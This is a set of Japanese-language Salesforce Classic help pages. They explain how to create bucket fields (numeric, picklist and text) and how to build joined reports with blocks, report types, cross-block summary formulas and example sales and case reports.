使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

取引の状況を把握するために、個別の取引を確認する代わりに、バケット化を
使用して取引の規模別にグループ化することができます。こうすることで、目
標に最も影響する大規模な取引に集中して取り組むことができます。
1. 標準商談レポートを作成または編集します。
2. レポートビルダーの [項目] ペインで [バケット項目の追加] をダブルクリック

するか、レポートにドラッグします。
3. [ソース列] で、[金額] を選択します。
4. [バケット項目名] で、「取引の規模」と入力します。
5. [範囲を定義] で、最初の行に「1000」と入力します。これは、小規模の取引

の最大数を表します。この範囲の名前を「小」にします。
6. [追加]をクリックして、2 番目の行に「25000」と入力します。これは、中規

模の取引の最大数を表します。この範囲の名前を「中」にします。
7. デフォルトでは、最後の範囲は前の範囲を超える金額になります。このペー

ジに数値の入力は不要です。この範囲の名前を「大」にします。
8. [OK] をクリックします。
数値バケット項目では、各範囲は小さい数字より大きく、大きい数字を含む範
囲までです。このバケット項目を設定すると、金額は以下のようにバケット化
されます。

バケット金額

小1000 以下

中1001 ～ 25000

大25001 以上

関連トピック:

数値バケット項目の編集
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選択リストバケット項目の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

選択リストバケット項目には、リストから選択できる項目が含まれます。

メモ: 次のタイプの選択リストをバケット化することはできません。
• レコードタイプ
• ディビジョン
• 複数値選択リスト
• 活動レポートの [種類] 選択リスト

選択リスト項目の [バケット項目を編集] フロート表示で、次の操作を実行しま
す。
1. [ソース列] で、バケット化する項目を選択します。
2. バケット項目の名前を入力します。これは、レポートの列名として表示され

ます。
バケット項目は項目内に複数のバケットを含める目的で作成されるため、適
切なバケット項目の名前はバケットの範囲を説明したものになります。たと
えば、「優先度」という名前のバケット項目には、「高」、「中」、「低」
のバケットがあります。

重要: 選択リストのバケット名には、1 つ以上の文字または記号を含め
る必要があります。選択リストバケット項目に含まれるバケットの名前
が数字のみである場合、そのバケット項目を保存することはできませ
ん。

3. バケットを作成するには、[新しいバケット] をクリックして、バケット名を入力します。レポートレコー
ドをグループ化するには、複数のバケットを作成します。

4. 値のリストで特定の値を検索するには、[クィック検索] ボックスで名前の最初の数文字を入力します。入
力すると、検索語に一致する項目がメニューに表示されます。

5. 値を選択して、バケットにドラッグします。または、値を選択して、[移動先] をクリックし、バケットを
選択するか、新しいバケット名を入力します。
値をバケット化する際は、必要に応じて次の機能を使用します。
• レポートの値をすべて表示するには、[すべての値] をクリックします。
• 特定のバケットの値を表示するには、バケット名をクリックします。
• バケットから値を削除するには、値を選択して、別のバケットにドラッグするか、[バケット項目でな

い値] にドラッグします。

メモ: バケット化できるのは有効な選択リストの値のみです。無効な選択リストの値は表示されませ
ん。

6. すべてのバケット項目でない値を「その他」という名前のバケットに移動するには、[バケット項目でない
値を「その他」として表示]を有効にします。これが無効になっていると、バケット化が解除された値が値
名のバケット列に表示されます。

7. [OK] をクリックします。
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[バケット項目を編集] ダイアログボックスに表示されるように、レポートでは選択リストのバケット列が、バ
ケットの位置に続いて「その他」([バケット項目でない値を「その他」として表示] が有効化されている場合)

または、バケット化が解除された選択リストの項目名 ([バケット項目でない値を「その他」として表示]が無効
になっている場合) で並び替えられます。

関連トピック:

選択リストのバケット化の例: 業種

選択リストのバケット化の例: 業種

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

選択リストバケット項目を使用して、業種で取引先を並び替えます。
1. 標準取引先レポートを作成または編集し、少なくとも数件のレポートがレ

ポートに表示されていることを確認します。
2. レポートビルダーの [項目] ペインで [バケット項目の追加] をダブルクリック

するか、レポートにドラッグします。
3. [ソース列] で、[業種] を選択します。
4. [バケット項目名] で、「業種」と入力します。
5. [新しいバケット] をクリックして、バケットに「IT」と名前を付けます。
6. [新しいバケット]をクリックして、バケットに「バイオ」と名前を付けます。
7. [新しいバケット] をクリックして、バケットに「通信」と名前を付けます。
8. 値を選択して、値を適切なバケットにドラッグします。
9. [バケット項目でない値を「その他」として表示] を有効にします。
10. [OK] をクリックします。

関連トピック:

選択リストバケット項目の編集
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テキストバケット項目の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

テキストバケットは、単語または語句で構成される値を並び替えるのに役立ち
ます。

メモ: 次のタイプのテキストをバケット化することはできません。
• テキストエリア
• テキストエリア — ロング
• テキストエリア — リッチ
• テキストエリア — 暗号化
• URL

• 日付
• 日付/時間

テキスト項目の [バケット項目を編集] フロート表示で、次の操作を実行します。
1. [ソース列] で、バケット化する項目を選択します。
2. バケット項目の名前を入力します。これは、レポートの列名として表示され

ます。
バケット項目は項目内に複数のバケットを含める目的で作成されるため、適
切なバケット項目の名前はバケットの範囲を説明したものになります。たと
えば、「地域」という名前のバケット項目には、「東」、「西」、「中央」
のバケットがあります。

3. バケットを作成するには、[新しいバケット] をクリックして、バケット名を入力します。レポートレコー
ドをグループ化するには、複数のバケットを作成します。

4. 値のリストで特定の値を検索するには、[値を検索...]ボックスでその名前の全部または一部を入力して、[検
索] をクリックするか、ボックスを空のままにして、[検索] をクリックします。
検索では最大 200 個の値が返されます。

5. 値を選択して、バケットにドラッグします。または、値を選択して、[移動先] をクリックし、バケットを
選択するか、新しいバケット名を入力します。
値をバケット化する際は、必要に応じて次の機能を使用します。
• バケット化する値の正確な名前を入力したり、後でレポートに表示できるように値をバケット化するに

は、[値を入力] を使用します。
• 特定のバケットの値を表示するには、バケット名をクリックします。
• バケットから値を削除するには、[移動先]を選択して、バケットを選択するか、新しいバケット名を入

力します。

6. すべてのバケット項目でない値を「その他」という名前のバケットに移動するには、[バケット項目でない
値を「その他」として表示]を有効にします。これが無効になっていると、バケット化が解除された値が値
名のバケット列に表示されます。

7. [OK] をクリックします。
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レポートで、テキストバケット列は英数字順に並び替えられます。

関連トピック:

テキストバケットの値の入力
テキストのバケット化の例: 戦略的な取引先

テキストバケットの値の入力

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

テキストバケット項目には、内容を説明する名前とテキスト文字列を含む 2 つ
以上のバケットが必要です。
バケット化する正確な値を把握している場合は、「値を入力」機能を使用する
と検索することなく迅速にバケット化できます。これは、レポートに (数百万な
ど) 多数の値が含まれており、1 つの値の検索に時間がかかる場合に役立ちます。
また、このメソッドを使用すると、後でレポートに表示できる値を入力して、
バケット化できます。
テキスト項目の [バケット項目を編集] フロート表示で、次の操作を実行します。
1. [値を入力] をクリックします。
2. 値の移動先のバケットを選択します。[新しいバケット] を選択した場合は、

バケットの名前を入力します。
3. ボックスに 1 つ以上の値を入力します。複数の値は 1 行ごとに入力します。
4. [移動] をクリックします。

関連トピック:

テキストバケット項目の編集
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テキストのバケット化の例: 戦略的な取引先

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

テキストバケットを使用して、処理できる一般的なカテゴリに取引先を並び替
えます。
1. 標準取引先レポートを作成または編集し、少なくとも数件のレポートがレ

ポートに表示されていることを確認します。
2. レポートビルダーの [項目] ペインで [バケット項目の追加] をダブルクリック

するか、レポートにドラッグします。
3. [ソース列] で、[取引先名] を選択します。
4. [バケット項目名] で、「戦略的」と入力します。
5. [新しいバケット] をクリックして、バケットに「IBM」と名前を付けます。
6. [新しいバケット]をクリックして、バケットに「Dell」と名前を付けます。
7. [新しいバケット] をクリックして、バケットに HP と名前を付けます。
8. 選択可能な値を表示するには、[値を検索...] ボックスを空のままにして、[検

索] をクリックします。
9. 値を選択して、値を適切なバケットにドラッグします。
10. [バケット項目でない値を「その他」として表示] を有効にします。
11. [OK] をクリックします。

関連トピック:

テキストバケット項目の編集
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異なるタイプの情報を結合レポートに集約

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

結合レポート形式では、さまざまな種類の情報を 1 つのレポートに表示できま
す。結合レポートには、複数の標準またはカスタムのレポートタイプのデータ
を含めることができます。
結合レポートを開始するには、レポートビルダーで新規レポートを作成または
既存のレポートを編集し、[形式] ドロップダウンをクリックして、[結合] を選
択します。
サマリーレポートまたはマトリックスレポートでできる操作の多くは、結合レ
ポートでも可能です。たとえば、項目の検索、追加、および削除、項目の集計、
およびレポートの実行と保存を実行できます。

ヒント: ダッシュボードにグラフを含む結合レポートを表示できます。結
合レポートダッシュボードコンポーネントを編集し、[ソースレポートで定
義したグラフを使用] を選択します。

1. 結合レポートへのレポートタイプの追加
レポートタイプを追加することにより、結合レポートでの分析に利用できる
データのセットを拡張できます。

2. 主要レポートタイプの変更
主レポートタイプは、共通項目の命名方法を制御します。結合レポートには
主レポートタイプが必要です。主レポートタイプはいつでも変更できます。

3. 結合レポートのカスタム集計項目の作成
結合レポートの標準またはクロスブロックカスタム集計項目を追加して、レポートで使用できる数値項目
に基づいた集計項目を追加できます。

4. ブロックの使用
ブロックでは、さまざまなビューを作成して結合レポートに含まれる情報を表示できます。

5. 結合レポートの機能
結合レポートには、複数の標準またはカスタムのレポートタイプのデータを含めることができます。同じ
オブジェクトと関係があるレポートタイプを 1 つの結合レポートに追加できます。たとえば、商談レポー
トタイプが含まれる結合レポートがある場合、ケースレポートタイプも追加できます。これは、両方のレ
ポートタイプが Accounts オブジェクトと関係があるためです。

関連トピック:

新規レポートの作成
結合レポートの機能
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結合レポートへのレポートタイプの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポートタイプを追加することにより、結合レポートでの分析に利用できるデー
タのセットを拡張できます。
1. レポート形式メニューから [結合] を選択します。
2. [レポートタイプを追加] をクリックします。

既存のレポートに追加できるレポートタイプを表示する [追加レポートタイ
プを選択] フロート表示が表示されます。

3. レポートタイプを選択します。
フロート表示には、選択したレポートタイプに共通のオブジェクト、および
レポートにすでに含まれている型を特定するメッセージが表示されます。

4. [OK] をクリックします。
追加レポートタイプが追加されます。次のことに留意してください。
• 新しいブロックはレポートに表示されます。
• [項目] ペインでは、レポートタイプに一意の項目を含む新しい領域で更新さ

れます。すべてのレポートタイプに共通の項目は、[共通項目] 領域内にあり
ます。

関連トピック:

結合レポートのカスタム集計項目の作成
結合レポートの機能
異なるタイプの情報を結合レポートに集約
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主要レポートタイプの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

主レポートタイプは、共通項目の命名方法を制御します。結合レポートには主
レポートタイプが必要です。主レポートタイプはいつでも変更できます。
デフォルトでは、レポートに最初に追加したレポートタイプが主要になります。
主レポートタイプは、レポートに使用できるデータには影響しません。
主レポートタイプを変更するには、そのブロックを削除します。ブロックを削
除するには、[項目] ペインにドラッグします。主レポートタイプに基づくブロッ
クが複数ある場合、それらすべてを削除する必要があります。
主レポートタイプを削除する場合、新しいレポートタイプの選択方法はレポー
トに含まれるレポートタイプ数によって決まります。
• レポートに含まれるレポートタイプが 2 つのみの場合、もう一方のレポート

タイプが自動的に主要になります。
• レポートに含まれるレポートタイプが 3 つ以上の場合、ダイアログが表示さ

れ、新しい主レポートタイプとしていずれかを選択するように求められま
す。

関連トピック:

結合レポートへのブロックの追加
結合レポートへのレポートタイプの追加
結合レポートで実行できない操作は?

異なるタイプの情報を結合レポートに集約

結合レポートのカスタム集計項目の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

結合レポートの標準またはクロスブロックカスタム集計項目を追加して、レポー
トで使用できる数値項目に基づいた集計項目を追加できます。
1. 次のいずれかのオプションを使用して、[項目] ペインから [集計項目を追加]

フロート表示にアクセスします。

説明オプション

レポートタイプカテゴリに移動し、
[新規カスタム集計項目を追加] をダ
ブルクリックします。

標準カスタム集計項目を作成する

[共通] カテゴリに移動し、[クロスブ
ロック数式を追加]をダブルクリック
します。

クロスブロックカスタム集計項目を
作成する

2. レポートに表示する数式名を入力し、必要に応じて説明を入力します。
名前は一意にする必要があります。
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3. [形式] ドロップダウンリストから、計算の出力に基づいて数式に適用するデータ型を選択します。
4. [小数点の位置] ドロップダウンから、通貨、数字、またはパーセントデータ型の表示に適用する小数点以

下の桁数を選択します。この設定は、マルチ通貨組織の通貨項目では無視されます。代わりに、通貨設定
の [小数点の位置] が適用されます。

5. [この数式をどこに表示しますか?] オプションを設定します。
計算された値が、選択に応じて、レポートブロックの [総計] またはグローバルグルーピングレベルに表示
されます。[総計] など、すべてのレベルで数式の計算を表示するには、[すべての集計レベル] を選択しま
す。必要に応じて、計算をグローバルグルーピングレベルで表示するように選択できます。結合レポート
には 3 つのグローバルグルーピングがあります。グルーピングは、すべてのブロックに適用されます。

6. 数式の作成:

a. [集計項目]ドロップダウンリストに表示されているいずれかの項目を選択します。この項目の値が数式
で使用されます。
クロスブロック数式を作成するとき、項目はブロックごとにグループ化されます。また、[クイック検
索] を使って、項目を検索できます。
単一レポートタイプの数式を作成する場合、リストにはそのレポートタイプで使用できる数値項目が表
示されます。

b. 数式で使用する集計種別を選択します。このオプションは、[レコード件数] には使用できません。

説明集計種別

項目またはグルーピング項目のデータの合計値。合計

項目または項目グルーピングのデータの最大値。最大値

項目または項目グルーピングのデータの最小値。最小値

項目または項目グルーピングのデータの平均。平均

c. [演算子] をクリックして、演算子を式に追加します。
d. 関数のカテゴリ ([すべて]、[論理]、[計算]、または [概要]) を選択し、数式で使用する関数を選択して、

[挿入] をクリックします。
e. 必要に応じて上記の手順を繰り返します。

7. [構文を確認] をクリックして、数式にエラーがないかどうかを確認します。エラーは、カーソルにより強
調表示されます。
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8. [OK] をクリックします。レポートを保存しなければ、数式も保存されません。

関連トピック:

レポートの数式の使用
結合レポートのカスタム集計項目
カスタム集計項目を最大限に活用
結合レポートの例

ブロックの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ブロックでは、さまざまなビューを作成して結合レポートに含まれる情報を表
示できます。

1. 結合レポートへのブロックの追加
結合レポートにブロックを追加すると、1 つのレポートに含まれるデータか
ら複数のビューを作成できます。

2. ブロックの並び替え
結合レポートでブロックを並び替えることができます。ブロックを並び替え
るとレポートの外観は変わりますが、ブロックのデータに影響はありませ
ん。

3. ブロック名の変更
ブロックが含む情報をよりわかりやすく示すために、ブロックの名前を変更
できます。

4. ブロックのレコード件数の表示および非表示
結合レポートのブロックごとのレコードの数、つまりレコード件数を表示す
るか、非表示にするかを選択できます。デフォルトでは、レポートビルダー
とレポート実行ページにブロックごとのレコード件数が表示されます。

5. ブロックの削除
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結合レポートへのブロックの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

結合レポートにブロックを追加すると、1 つのレポートに含まれるデータから複
数のビューを作成できます。
1. [項目] ペインから項目をクリックして押したまま、[プレビュー] ペインの空

の領域にドラッグします。

2. 項目をドロップして、ブロックを作成します。
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なお、ブロックを追加すると、追加ブロックの標準の検索条件、項目の絞り込みが [条件] ペインに追加さ
れます (1)。また、[プレビュー] ペインに新規ブロックが表示されます (2)。

ブロックを削除するには、ブロックヘッダーの をクリックしてから [ブロックを削除]をクリックします。
または、ブロックを [項目] ペインにドラッグします。
ブロックを使用する場合、次の点に注意してください。
• 新規レポートタイプを結合レポートに追加した場合も新規ブロックが追加されます。
• ブロックを作成するときは、レポートタイプのカテゴリから項目を選択する必要があります。共通カテゴ

リの項目を使用することはできません。たとえば、レポートに商談レポートタイプとケースレポートタイ
プの両方が含まれる場合、[商談] カテゴリから項目を選択すると新しい [商談] ブロックが作成され、[ケー
ス] カテゴリから項目を選択すると、新しい [ケース] ブロックが作成されます。

関連トピック:

結合レポートへのレポートタイプの追加
ブロックの削除
結合レポートのカスタム集計項目の作成
ブロックの使用
異なるタイプの情報を結合レポートに集約
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ブロックの並び替え

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

結合レポートでブロックを並び替えることができます。ブロックを並び替える
とレポートの外観は変わりますが、ブロックのデータに影響はありません。
ブロックを並び替えてもブロックの番号は変わりません。たとえば、3 つのブ
ロックが含まれるレポートがあり、ブロック 1 をブロック 3 の右側に移動した場
合、ブロックは、ブロック 2、ブロック 3、ブロック 1 として表示されます。混
乱を避けるために、ブロック名を変更してください。
ブロックを並び替えるには、既存のブロックの左または右にそのブロックを移
動します。[プレビュー] ペインの空の領域にブロックをドラッグすることはでき
ません。
ブロックを並び替える手順は、次のとおりです。
• [プレビュー] ペインで、既存のブロックの左側または右側にブロックをドラッ

グします。
ブロックの横に表示される青いバーは、ドロップ可能な場所を示します。

関連トピック:

ブロック名の変更
ブロックの使用

ブロック名の変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ブロックが含む情報をよりわかりやすく示すために、ブロックの名前を変更で
きます。
ブロックを結合レポートに追加すると、レポートタイプとレポートのブロック
数を元に自動的に名前が付けられます。たとえば、レポートに 2 つのブロック
が含まれており、商談レポートタイプに基づく新しいブロックが追加されると、
「商談ブロック 3」として名前が付けられます。
1. ブロック名をクリックします。

名前が編集可能なテキストボックスに表示されます。
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2. 新しい名前を入力します。
3. Enter をクリックするか、ブロックの外をクリックして名前を適用します。

関連トピック:

ブロックの使用
異なるタイプの情報を結合レポートに集約

ブロックのレコード件数の表示および非表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

結合レポートのブロックごとのレコードの数、つまりレコード件数を表示する
か、非表示にするかを選択できます。デフォルトでは、レポートビルダーとレ
ポート実行ページにブロックごとのレコード件数が表示されます。
レコード件数を表示または非表示にする方法は 2 つあります。
• ブロックヘッダーの矢印 ( ) をクリックしてブロックメニューを表示しま

す。[レコード件数] メニュー項目の横にあるチェックマークは、ブロックで
レコード件数が有効であることを示します。件数の表示と非表示を切り替え
るには、[レコード件数] をクリックします。

• レポートの詳細を非表示にし、カーソルを [レコード件数] 列の上に置くと、
矢印 ( ) が表示されます。矢印をクリックし、[列を削除]を選択します。レ
コード件数を再び表示するには、ブロックヘッダーの矢印をクリックし、[レ
コード件数] を選択します。

メモ: レポートブロックで行を集計しておらず、レポートの詳細とすべて
のブロックの行数も非表示にした場合、レポート実行ページでブロックは
非表示になります。ブロックを表示するには、レポート実行ページまたは
レポートビルダーから [詳細の表示] を選択します。

関連トピック:

レポートの詳細の表示と非表示
カスタム集計項目の集計関数の使用
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ブロックの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

結合レポートからブロックを削除する方法には、次の 2 つがあります。
• ブロックヘッダーの矢印 ( ) をクリックしてブロックメニューを表示し、

[ブロックを削除] をクリックする。
• ブロックのヘッダーをクリックして押したまま、[項目] ペインにブロックを

ドラッグする。

関連トピック:

ブロックの使用
異なるタイプの情報を結合レポートに集約

結合レポートの機能

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

結合レポートには、複数の標準またはカスタムのレポートタイプのデータを含
めることができます。同じオブジェクトと関係があるレポートタイプを 1 つの
結合レポートに追加できます。たとえば、商談レポートタイプが含まれる結合
レポートがある場合、ケースレポートタイプも追加できます。これは、両方の
レポートタイプが Accounts オブジェクトと関係があるためです。
結合レポートは、最大 5 つのレポートブロックで構成されます。ブロックをレ
ポートに追加して、複数のデータビューを作成できます。ブロックごとに、標
準および集計項目の追加、標準およびクロスブロックカスタム集計項目の作成、
条件の適用、列の並び替えを実行できます。集計形式と同様、レポートのすべ
てのブロックにグループ化を適用して、ブロックに最大 3 つのグループ化を追
加できます。また、結合レポートにグラフを追加することもできます。
各結合レポートには主レポートタイプがあります。デフォルトでは、レポートに最初に追加したレポートタイ
プが主タイプになり、[項目] ペインでその名前の横には小さな点が付けられます。たとえば、商談レポートタ
イプを選択して結合レポートを作成し、その後でケースタイプを追加した場合、商談タイプが主レポートタイ
プになります。
主レポートタイプは、共通項目の命名方法を制御します。一部の共通項目は、名前が異なったり、異なるレ
ポートタイプの異なるセクションに表示されます。これらの項目では、 をクリックすると、他のレポート
タイプの項目名が表示されます。
結合レポートに複数のレポートタイプが含まれる場合、一部の項目は共通項目として識別されます。共通項目
とは、すべてのレポートタイプにより共有される項目、またはすべてのレポートタイプがその項目への参照関
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係を共有している項目です。これらの項目は、[項目] ペインの [共通項目] 領域に表示され、レポートブロック
のグループ化に使用できます。

1. 結合レポートの例
結合レポートを使って実行できることの例として、営業担当パフォーマンススコアカードの作成、状況別
のサポートケースの確認、商談パイプラインの予測があります。

2. 結合レポートのカスタム集計項目
結合レポートでは、標準とクロスブロックという 2 種類のカスタム集計項目を使用できます。

3. 結合レポートで実行できない操作は?

サマリーレポートまたはマトリックスレポートでできる操作の多くは、結合レポートでも可能です。たと
えば、項目の検索、追加、削除、集計、およびレポートの実行と保存を実行できます。ただし、実行でき
ない操作もあります。

関連トピック:

結合レポートへのレポートタイプの追加
結合レポートのカスタム集計項目の作成
ブロックの使用

結合レポートの例

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

結合レポートを使って実行できることの例として、営業担当パフォーマンスス
コアカードの作成、状況別のサポートケースの確認、商談パイプラインの予測
があります。

営業担当パフォーマンススコアカードの作成
営業担当スコアカードを使用して、経営陣に組織の営業担当のパフォーマンス
とアクションを通知します。作成するには、ユーザ (主オブジェクト) と商談所
有者、商談作成者、活動所有者の 3 つのオブジェクトとの関係をそれぞれ作成
する 3 つの別々のカスタムレポートタイプが必要です。この例では、カスタム
レポートタイプに [ユーザと商談の所有者のカスタムレポート]、[ユーザと商談の
作成者のカスタムレポート]、[ユーザと活動の所有者のカスタムレポート]という
名前を設定しています。
最初に、ユーザと商談所有者のカスタムレポートタイプに基づいた新規カスタ
ムレポートを作成してから、ユーザと商談作成者、ユーザと活動所有者のカスタムレポートタイプを追加ブ
ロックとして 2 つ追加します。次に、営業担当 (商談所有者) 別にグループ化し、手順に従って条件を設定しま
す。
レポートを作成する手順は、次のとおりです。
1. レポートタイプとして [ユーザと商談の所有者のカスタムレポート] を選択して、新規レポートを作成しま

す。
2. [形式] ドロップダウンから [結合] を選択します。
3. [レポートタイプを追加] をクリックします。
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4. [ユーザと商談の作成者のカスタムレポート] を選択します。
5. [レポートタイプを追加]を再度クリックして、[ユーザと活動の所有者のカスタムレポート]を選択します。
6. [氏名] 別にブロックをグループ化します。
7. 必要に応じてレポートに項目と条件を追加します。たとえば、特定期間内の営業パフォーマンスに焦点を

合わせるために日付条件を変更できます。また、商談所有者に営業担当者のみを含めるには、[ロール: 名
前] 条件で条件を作成して、ロールに「営業」が含まれるユーザに結果を限定することもできます。

8. 必要に応じて、ブロックの名前を入力します。
9. [保存] または [レポート実行] をクリックします。

状況別のサポートケースの確認
新規、完了、処理中のサポートケースの数を優先度別に比較するレポートを作成することもできます。レポー
トには、単一の標準のレポートタイプとしてケースを含めます。最初に、レポートを作成して 3 つのブロック
を追加し、各ブロックを該当する状況別に絞り込んでから、グループ化に [優先度] を使用します。
レポートを作成する手順は、次のとおりです。
1. レポートタイプとして [ケース] を選択して、新規レポートを作成します。
2. [形式] ドロップダウンから [結合] を選択します。
3. 不要な項目は [項目] ペインにドラッグして削除します。
4. 3 つのブロックを作成し、それぞれに [ケース番号] 項目、[状況] 項目、必要に応じて [ケース所有者] 項

目を含めます。
5. ブロックごとに、すべてのケースで絞り込みを行います。次のように [状況] 別に各ブロックを絞り込み

ます。
• ブロック 1: 「状況 次の文字列と一致する クローズ」
• ブロック 2: 「状況 次の文字列と一致する 新規」
• ブロック 3: 「状況 次の文字列と一致しない 新規, ポータルでクローズ, クローズ — 最初のコール」

6. [優先度] 別にブロックをグループ化します。
7. 必要に応じて、ブロックの名前を変更します。
8. [保存] または [レポート実行] をクリックします。

商談パイプラインの予測
クロスブロックカスタム集計項目を使って、営業担当者の過去の業績に基づく将来の商談の収益を予測するレ
ポートを作成できます。商談標準レポートタイプに基づいてレポートを作成し、3 つのブロックをレポートに
追加して、各ブロックを該当する状況で絞り込んでから、異なるブロックから項目を使用する集計項目を作成
します。
レポートを作成する手順は、次のとおりです。
1. レポートタイプとして [商談] を選択して新しい結合レポートを作成します。
2. 不要な項目は [項目] ペインにドラッグして削除します。
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3. 3 つのブロックを作成し、それぞれに [商談名] 項目、[取引先名] 項目、[金額] 項目を含めます。
4. ブロックごとに、[すべての商談] を表示します。次に、各ブロックを絞り込みます。

検索条件ブロック

商談 状況 次の文字列と一致する 完了
日付項目 次の文字列と一致する 完了予定日

ブロック 1

範囲 次の文字列と一致する 当会計年度および前会計年度
フェーズ 次の文字列と一致する 不成立

商談 状況 次の文字列と一致する 商談成立
日付項目 次の文字列と一致する 完了予定日

ブロック 2

範囲 次の文字列と一致する 当会計年度および前会計年度

日付項目 次の文字列と一致する 完了予定日
範囲 次の文字列と一致する 来月

ブロック 3

商談 状況 次の文字列と一致する 進行中

5. [商談所有者] 別にブロックをグループ化します。
6. ブロックの名前を変更します。たとえば、「商談成立」、「商談不成立」、「来月クローズ」などにしま

す。
7. 営業担当者の過去の実績に基づいて今後の収益を予測するクロスブロックカスタム集計項目を作成します。

[Closing Next Month]AMOUNT:SUM*([Closed - Won]RowCount/([Closed -
Lost]RowCount+[Closed - Won]RowCount))

8. 集計項目を 1 つ以上のブロックに追加します。
9. 必要に応じて、各営業担当者の商談成立率を計算するクロスブロックカスタム集計項目を追加します。

[Closed - Won]RowCount/([Closed - Lost]RowCount+[Closed - Won]RowCount)

10. [保存] または [レポート実行] をクリックします。

商談パイプライン予測レポートへのグラフの追加
データを視覚的に表すために、結合レポートにグラフを含めることができます。たとえば、商談パイプライン
予測レポートに、実際の収益対予測される収益を示すグラフを追加できます。
グラフを追加する手順は、次のとおりです。
1. 商談パイプラインの予測レポートを作成します。
2. [グラフを追加] をクリックします。
3. Y 軸に [商談成立 — 合計金額] を選択します。
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4. [プロット追加値] を選択します。
5. [表示] オプションの [折れ線]、[値] として [予測収益] を選択します。
6. [書式設定] タブをクリックし、グラフタイトルとして「収益予実比較」と入力します。
7. [OK] をクリックします。
8. [保存] または [レポート実行] をクリックします。

関連トピック:

レポートへのグラフの追加
結合レポートのカスタム集計項目
結合レポートの機能
ブロックの使用
異なるタイプの情報を結合レポートに集約

結合レポートのカスタム集計項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

結合レポートでは、標準とクロスブロックという 2 種類のカスタム集計項目を
使用できます。

標準カスタム集計項目
標準カスタム集計項目は、1 つのレポートタイプに適用され、そのレポートタイ
プのみに基づくブロックに追加できます。たとえば、ケースレポートタイプに
作成された集計項目は、[ケース] ブロックにのみ適用できます。結合レポートの
カスタム集計項目は、サマリーレポートとマトリックスレポートと同じデータ
形式、数式オプション、関数、および計算の表示場所をサポートします。
結合レポートでカスタム集計項目を使用する場合は、次のことに留意してくだ
さい。
• 数式は、作成時に自動的にレポートに追加されません。数式を追加するには、同じレポートタイプのブロッ

クにその数式をドラッグします。
• ブロックにカスタム集計項目を追加する場合、ブロックに追加した順に標準項目の右側に表示されます。

クロスブロックカスタム集計項目も追加する場合、標準項目の右側に表示されます。
